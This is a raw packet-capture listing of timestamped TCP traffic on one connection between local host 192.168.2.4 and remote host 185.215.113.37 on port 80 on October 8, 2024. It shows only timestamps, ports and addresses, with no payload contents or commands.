Oct 8, 2024 08:22:15.630420923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630470991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630503893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630525112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630554914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630558968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630583048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630615950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630635023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630664110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630667925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630696058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630731106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630747080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630770922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630793095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630837917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630897999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630902052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.630930901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.630984068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631004095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631026030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631078005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631098032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631119013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631150007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631167889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631206036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631232977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631247044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631278038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631300926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631325960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631330013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631380081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631444931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631473064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631490946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631525040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631542921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631575108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631598949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631622076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631655931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631675959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631705999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631709099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631736994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631789923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631812096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631851912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631885052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631906033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631932974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.631937027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.631987095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632040977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632060051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632081032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632113934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632132053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632158041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632174969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632194042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632229090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632241964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632262945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632293940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632318974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632338047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632370949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632389069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632411957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632431984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632452011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632489920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632503033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632531881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632565022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632584095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632612944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632626057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632667065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632671118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632704020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632716894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632740974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632761002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632772923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632802010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632822990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632843018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632932901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632958889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.632962942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.632986069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633014917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633034945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633054018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633088112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633102894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633128881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633152962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633172989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633203983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633223057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633249044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633269072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633285999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633317947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633346081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633348942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633372068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633402109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633405924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633435965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633471012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633486986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633511066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633533001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633553982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633588076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633610010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633636951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633641005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633667946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633701086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.633718014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.633743048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667244911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667300940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667366028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667423964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667458057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667710066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667740107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667757988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667766094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667778969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667790890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667795897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667800903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667805910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667810917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667809963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667823076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667829990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667834997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667845011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667850018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667857885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667857885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667861938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667869091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667881012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667886019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667890072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667891026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667896032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667907000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667912960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667931080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667941093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667946100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667951107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667956114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667962074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667967081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667968035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667968035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667972088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667985916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667990923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.667995930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.667996883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.668020964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.668049097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721257925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721420050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721441031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721451998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721457005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721467972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721467972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721473932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721481085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721486092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721491098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721498966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721503973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721506119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721558094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721585989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721585989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721595049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721605062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721611023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721616030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721626043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721631050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721638918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721677065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721704960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721834898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721841097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721852064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721857071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721862078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721867085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721877098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721882105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721887112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721890926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721892118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721896887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721901894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721909046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.721935034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.721951962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722132921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722138882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722150087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722156048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722161055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722166061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722176075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722181082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722186089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722193003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722196102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722202063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722208977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722213030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722243071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722271919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722423077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722429037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722439051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722445011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722450018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722455978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722461939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722471952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722477913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722481966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722491980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722543955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722552061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722558022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722563982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722563982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722625017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722676039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722682953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722692966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722697973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722702980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722707987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722712994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722718000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722723007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722728014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722745895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722759962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722765923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722775936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722780943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722785950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722786903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722791910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722800016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.722810030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722846031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.722877026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754470110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754477978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754496098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754502058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754513025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754550934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754555941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754561901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754616976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754621983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754631996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754637957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754647970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754647970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754647970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754683018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754683971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754690886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754709005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754724026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754729033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754734039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754740953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754787922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754801035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754806995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754817009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754833937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754856110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754859924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754865885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.754878044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.754908085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755098104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755160093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755213022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755261898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755266905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755278111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755283117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755328894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755335093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755341053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755346060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755352020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755352020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755399942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755426884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755558968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755564928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755577087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755580902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755587101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.755623102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.755649090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:15.808615923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.808629990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:15.808665037 CEST	80	49730	185.215.113.37	192.168.2.4
